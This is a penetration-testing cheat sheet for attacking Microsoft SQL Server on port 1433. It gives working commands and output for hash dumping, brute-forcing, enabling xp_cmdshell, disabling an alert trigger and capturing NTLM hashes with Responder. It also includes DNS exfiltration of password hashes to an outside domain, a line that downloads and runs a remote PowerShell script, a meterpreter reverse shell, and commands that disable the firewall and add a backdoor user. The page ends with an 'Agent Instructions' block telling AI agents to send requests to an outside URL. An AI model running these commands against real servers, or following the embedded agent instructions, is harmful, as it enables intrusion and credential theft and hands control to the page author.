# 1433 - Microsoft SQL Normal Port - 1433 Hidden mode port - 2433 ## Connect Connect using one of the following options: ### sqsh `sqsh -S someserver -U sa -P password` ### metasploit metasploit (mssql\_login) `msf auxiliary(mssql_login) > use auxiliary/scanner/mssql/mssql_login` ### mssqclient Impacket script [mssqclient](/infrastructure-testing/tools/impacket.md#mssqlclient) `mssqlclient.py reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth` ### sqlcmd sqlcmd. To use SQL Server Authentication, you must specify a user name and password by using the -U and -P options. `sqlcmd -y0 -d ADSync -Q "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"` ### crackmapexec `cme mssql 10.10.10.52 -u james -p 'J@m3s_P@ssW0rd!'` ## MSSQL 2003 commands taken from: | Task | Command | | ---------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Version | SELECT @@version | | Comments |

SELECT 1 -- comment

SELECT /*comment*/1

| | Current User |

SELECT user\_name();

SELECT system\_user;

SELECT user;

SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

| | List Users | SELECT name FROM master..syslogins | | List Password Hashes |

SELECT name, password FROM master..sysxlogins -- priv, mssql 2000;

SELECT name, master.dbo.fn\_varbintohexstr(password) FROM master..sysxlogins -- priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.

SELECT name, password\_hash FROM master.sys.sql\_logins -- priv, mssql 2005;

SELECT name + '-' + master.sys.fn\_varbintohexstr(password\_hash) from master.sys.sql\_logins -- priv, mssql 2005

| | Password Cracker | MSSQL 2000 and 2005 Hashes are both SHA1-based. [phrasen\|drescher](https://labs.portcullis.co.uk/application/phrasen-drescher/) can crack these. | | List Privileges | Impossible? | | List DBA Accounts |

TODO

SELECT is\_srvrolemember('sysadmin'); --priv

-- is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try 'bulkadmin', 'systemadmin' and other values from the documentationSELECT is\_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.

| | Current Database | SELECT DB\_NAME() | | List Databases |

SELECT name FROM master..sysdatabases;

SELECT DB\_NAME(N); -- for N = 0, 1, 2, ...

| | List Columns |

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only

SELECT master..syscolumns.name, TYPE\_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable

| | List Tables |

SELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views

SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';

SELECT master..syscolumns.name, TYPE\_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable

| | Find Tables From Column Name |

-- NB: This example works only for the current database. If you wan't to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).

SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' -- this lists table, column for each column containing the word 'password'

| | Select Nth Row | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC -- gets 9th row | | Select Nth Char | SELECT substring('abcd', 3, 1) -- returns c | | Bitwise AND |

SELECT 6 & 2 -- returns 2

SELECT 6 & 1 -- returns 0

| | ASCII Value -> Char | SELECT char(0x41) -- returns A | | Char -> ASCII Value | SELECT ascii('A') - returns 65 | | Casting |

SELECT CAST('1' as int);

SELECT CAST(1 as char)

| | String Concatenation | SELECT 'A' + 'B' - returns AB | | If Statement | IF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1 | | Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1 | | Avoiding Quotes | SELECT char(65)+char(66) -- returns AB | | Time Delay | WAITFOR DELAY '0:0:5' -- pause for 5 seconds | | Make DNS Requests |

declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp\_getfiledetails ''\\' + @host + '\c$\boot.ini'''); -- nonpriv, works on 2000

declare @host varchar(800); select @host = name + '-' + master.sys.fn\_varbintohexstr(password\_hash) + '.2.pentestmonkey.net' from sys.sql\_logins; exec('xp\_fileexist ''\\' + @host + '\c$\boot.ini'''); -- priv, works on 2005

-- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.

-- Also check out theDNS tunnel feature of sqlninja

| | Command Execution |

EXEC xp\_cmdshell 'net user'; -- priv

On MSSQL 2005 you may need to reactivate xp\_cmdshell first as it's disabled by default:

EXEC sp\_configure 'show advanced options', 1; -- priv

RECONFIGURE; -- priv

EXEC sp\_configure 'xp\_cmdshell', 1; -- priv

RECONFIGURE; -- priv

| | Local File Access |

CREATE TABLE mydata (line varchar(8000));

BULK INSERT mydata FROM 'c:\boot.ini';

DROP TABLE mydata;

| | Hostname, IP Address | SELECT HOST\_NAME() | | Create Users | EXEC [sp\_addlogin](http://msdn2.microsoft.com/en-us/library/ms173768.aspx) 'user', 'pass'; -- priv | | Drop Users | EXEC [sp\_droplogin](http://msdn2.microsoft.com/en-us/library/ms189767.aspx) 'user'; -- priv | | Make User DBA | EXEC [master.dbo.sp\_addsrvrolemember](http://msdn2.microsoft.com/en-us/library/ms186320.aspx) 'user', 'sysadmin; -- priv | | Location of DB files | TODO | | Default/System Databases |

northwind

model

msdb

pubs

tempdb

| ## MSSQL 2017 Commands Current user’s permissions: ``` SQL> SELECT * FROM fn_my_permissions(NULL, 'SERVER'); entity_name subentity_name permission_name ------------ --------------- ------------------ server CONNECT SQL server VIEW ANY DATABASE ``` Check out the databases available: ``` SQL> SELECT name FROM master.sys.databases name ----------- master tempdb model msdb volume ``` I can look for user generated tables on those databases: ``` SQL> use volume [*] ENVCHANGE(DATABASE): Old Value: volume, New Value: volume [*] INFO(QUERIER): Line 1: Changed database context to 'volume'. SQL> SELECT name FROM sysobjects WHERE xtype = 'U' name ------------ ``` ## Enumeration ### Nmap Scan: `nmap -sU --script=ms-sql-info 192.168.1.108` Dump hashes: `nmap -p1433 --script ms-sql-empty-password,ms-sql-dump-hashes ` Execute command: `nmap -Pn -n -sS –script=ms-sql-xp-cmdshell.nse -p1433 –script-args mssql.username=sa,mssql.password=,ms-sql-xp-cmdshell.cmd=”net user backdoor backdoor123 /add”` ### Metasploit #### Find MSSQL servers: `msf > use auxiliary/scanner/mssql/mssql_ping` #### #### mssql\_enum The mssql\_enum is an admin module that will accept a set of credentials and query a MSSQL for various configuration settings. ``` msf auxiliary(mssql_enum) > run [*] Running MS SQL Server Enumeration... [*] Version: [*] Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) [*] Oct 14 2005 00:33:37 [*] Copyright (c) 1988-2005 Microsoft Corporation [*] Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2) [*] Configuration Parameters: [*] C2 Audit Mode is Not Enabled [*] xp_cmdshell is Not Enabled [*] remote access is Enabled [*] allow updates is Not Enabled [*] Database Mail XPs is Not Enabled [*] Ole Automation Procedures are Not Enabled [*] Databases on the server: [*] Database name:master [*] Database Files for master: [*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\master.mdf [*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\mastlog.ldf [*] Database name:tempdb [*] Database Files for tempdb: [*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\tempdb.mdf [*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\templog.ldf [*] Database name:model [*] Database Files for model: [*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\model.mdf [*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\modellog.ldf [*] Database name:msdb [*] Database Files for msdb: [*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\MSDBData.mdf [*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\MSDBLog.ldf [*] System Logins on this Server: [*] sa [*] ##MS_SQLResourceSigningCertificate## [*] ##MS_SQLReplicationSigningCertificate## [*] ##MS_SQLAuthenticatorCertificate## [*] ##MS_AgentSigningCertificate## [*] BUILTIN\Administrators [*] NT AUTHORITY\SYSTEM [*] V-MAC-XP\SQLServer2005MSSQLUser$V-MAC-XP$SQLEXPRESS [*] BUILTIN\Users [*] Disabled Accounts: [*] No Disabled Logins Found ``` #### mssql\_exec The mssql\_exec admin module takes advantage of the xp\_cmdshell stored procedure to execute commands on the remote system. If you have acquired or guessed MSSQL admin credentials, this can be a very useful module. ``` msf auxiliary(mssql_exec) > set CMD netsh firewall set opmode disable CMD => netsh firewall set opmode disable msf auxiliary(mssql_exec) > set PASSWORD password1 PASSWORD => password1 msf auxiliary(mssql_exec) > set RHOST 192.168.1.195 RHOST => 192.168.1.195 msf auxiliary(mssql_exec) > run [*] The server may have xp_cmdshell disabled, trying to enable it... [*] SQL Query: EXEC master..xp_cmdshell 'netsh firewall set opmode disable' output ------ Ok. [*] Auxiliary module execution completed msf auxiliary(mssql_exec) > ``` ### PowerUpSQL PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server Link: Example: ``` PS /opt/PowerUpSQL> Import-Module .\PowerUpSQL.psd1 PS /opt/PowerUpSQL> Get-SQLInstanceDomain -Verbose ComputerName : sql01.HTB.local Instance : sql01.HTB.local,1433 DomainAccountSid : 1500000521000221246588323062601712516458121134400 DomainAccount : MSSQLSERVER$ DomainAccountCn : MSSQLSERVER Service : MSSQLSvc Spn : MSSQLSvc/sql01.HTB.local LastLogon : 13/01/2021 02:56 Description : PS /opt/PowerUpSQL> Get-SQLInstanceDomain | Get-SQLConnectionTest ComputerName Instance Status ------------ -------- ------ sql01.HTB.local sql01.HTB.local,1433 Accessible ``` Or load into memory ``` IEX(New-Object System.Net.WebClient).DownloadString("http://192.168.0.1/PowerUpSQL.ps1") ``` #### SQL Server Discovery Cheats | Description | Command | | | ------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------- | | Discover Local SQL Server Instances | Get-SQLInstanceLocal -Verbose | | | Discover Remote SQL Server Instances |

UDP Broadcast Ping

Get-SQLInstanceBroadcast -Verbose

UDP Port Scan

Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1

Get the instance list from a file

Get-SQLInstanceFile -FilePath c:\temp\computers.txt | Get-SQLInstanceScanUDPThreaded -Verbose

| | Discover Active Directory Domain SQL Server Instances | Get-SQLInstanceDomain -Verbose | | | Discover Active Directory Domain SQL Server Instances using alternative domain credentials |

runas /noprofile /netonly /user:domain\user PowerShell.exe

import-module PowerUpSQL.psd1

Get-SQLInstanceDomain -Verbose -DomainController 192.168.1.1 -Username domain\user -password P\@ssword123

| | | List SQL Servers using a specific domain account | Get-SQLInstanceDomain -Verbose -DomainAccount SQLSvc | | | List shared domain user SQL Server service accounts | Get-SQLInstanceDomain -Verbose \| Group-Object DomainAccount \| Sort-Object count -Descending \| select Count,Name \| Where-Object {($\_.name -notlike "\*$") -and ($\_.count -gt 1) } | | More commands can be found in the github repo or in the **tool section**. ### Linked Servers Microsoft SQL Server allows links to be created to external data sources such as other SQL servers, Oracle databases, excel spreadsheets, and so on. Due to common misconfigurations the links, or “Linked Servers”, can often be exploited to traverse database link networks, gain unauthorized access to data, and deploy shells. Source: Find linked servers: ``` SQL> select srvname from sysservers; srvname ------------------------------ COMPATIBILITY\POO_CONFIG COMPATIBILITY\POO_PUBLIC ``` Execute commands on the other server: ``` SQL> EXECUTE ('select @@servername;') at [COMPATIBILITY\POO_CONFIG]; ------------------------------ COMPATIBILITY\POO_CONFIG ``` ## Bruteforce login ### Metasploit #### Bruteforce MSSQL Login `msf > use auxiliary/admin/mssql/mssql_login` #### Metasploit MSSQL Shell ``` msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp ``` ### Nmap ``` nmap -p 1433 --script ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt ``` ## Enable xp\_cmdshell ### Check if enabled `xp_cmdshell whoami` Or `EXEC xp_cmdshell 'net user'; -- priv` Or `EXEC master.dbo.xp_cmdshell 'cmd';` ### Enable xp\_cmdshell #### Short way: ``` SQL> enable_xp_cmdshell ``` #### Long way: ``` EXEC sp_configure 'show advanced options', 1; -- priv RECONFIGURE; -- priv EXEC sp_configure 'xp_cmdshell', 1; -- priv RECONFIGURE; -- priv or EXEC sp_configure 'show advanced options', 1; EXEC sp_configure reconfigure; EXEC sp_configure 'xp_cmdshell', 1; EXEC sp_configure reconfigure; ``` ### Check if it works `xp_cmdshell 'dir C:\'` ### Disable Trigger If you get a error when we try to enable xp\_cmdshell on trigger, such as: ``` Line 181: The transaction ended in the trigger. The batch has been aborted. ``` These triggers are a policy put in place to alert and block attempts to enable and use xp\_cmdshell. The problem is, as sa, we can disable these triggers. `SQL> disable trigger ALERT_xp_cmdshell on all server` And then enable xp\_cmdshell ``` SQL> enable_xp_cmdshell [*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. [*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL> xp_cmdshell whoami output ------------------------------ nt service\mssql$poo_public NULL ``` ## Capture credentials using xp\_dirtree Capture credentials using responder and xp\_dirtree: Start Responder: `root@kali# responder -I eth0` Issue the connect to load a file using xp\_dirtree from an SMB share (that doesn’t exist) on our host: ``` SQL> xp_dirtree '\\10.10.14.14\a'; subdirectory depth ``` It doesn’t return anything, but in the responder window, I’ve captured the necessary information: ``` [SMBv2] NTLMv2-SSP Client : 10.10.10.125 [SMBv2] NTLMv2-SSP Username : QUERIER\mssql-svc [SMBv2] NTLMv2-SSP Hash : mssql-svc::QUERIER:603386f497f [*] Skipping previously captured hash for QUERIER\mssql-svc ``` ## Execue\_external\_script We can use `sp_execute_external_scrip` to execute external command, **SQL Server 2017** now supports Python as an extensible script engine and we can use it to execute commands: ``` SQL> EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("whoami");'; [*] INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script: compatibility\poo_public01 Express Edition will continue to be enforced. ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://infra.newerasec.com/infrastructure-testing/enumeration/services-ports/1433-microsoft-sql.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.